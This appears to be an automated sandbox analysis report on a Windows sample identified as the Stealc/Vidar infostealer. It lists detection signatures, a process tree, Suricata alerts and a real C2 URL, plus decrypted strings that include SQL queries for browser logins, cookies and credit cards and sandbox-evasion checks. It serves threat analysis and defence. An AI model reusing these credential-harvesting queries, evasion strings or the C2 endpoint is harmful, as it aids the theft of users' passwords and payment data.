Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545482
MD5:	6873652f7bedc42d8c3e7485088e5714
SHA1:	7b367994e90dea60c760ecad73200a454fa2480d
SHA256:	713a17e0d6ac6da5631b52722ce20234dad493bbb5c82fe37b83d1daeaa78703
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5580 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 6873652F7BEDC42D8C3E7485088E5714)

chrome.exe (PID: 988 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7228 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2724 --field-trial-handle=2564,i,11894809263418386621,12068605829373464849,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8172 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7888 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2232,i,15510336952226513588,6990982743633393472,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 3784 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7564 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6880 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5396 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7852 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7112 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 7908 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7416 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 5072 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7416 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 8736 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7196 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2629516895.0000000000DF1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2171006516.0000000005830000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2631399968.000000000199E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5580	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5580	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5580	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5580	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.df0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5580, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 988, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T15:59:04.630337+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49710	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T15:59:04.623425+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T15:59:04.909624+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T15:59:06.006072+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T15:59:04.917112+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49710	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T15:59:04.337865+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T15:59:06.693648+0100	2803304	3	Unknown Traffic	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-30T15:59:34.328769+0100	2803304	3	Unknown Traffic	192.168.2.6	49716	185.215.113.206	80	TCP
2024-10-30T15:59:37.656752+0100	2803304	3	Unknown Traffic	192.168.2.6	49716	185.215.113.206	80	TCP
2024-10-30T15:59:39.555738+0100	2803304	3	Unknown Traffic	192.168.2.6	49716	185.215.113.206	80	TCP
2024-10-30T15:59:40.648104+0100	2803304	3	Unknown Traffic	192.168.2.6	49716	185.215.113.206	80	TCP
2024-10-30T15:59:42.788369+0100	2803304	3	Unknown Traffic	192.168.2.6	49716	185.215.113.206	80	TCP
2024-10-30T15:59:43.340463+0100	2803304	3	Unknown Traffic	192.168.2.6	49716	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.df0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.df0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.df0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: 30
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: 11
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: 24
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: bksvnsj
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: tale
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: history
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: History
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: usernameField
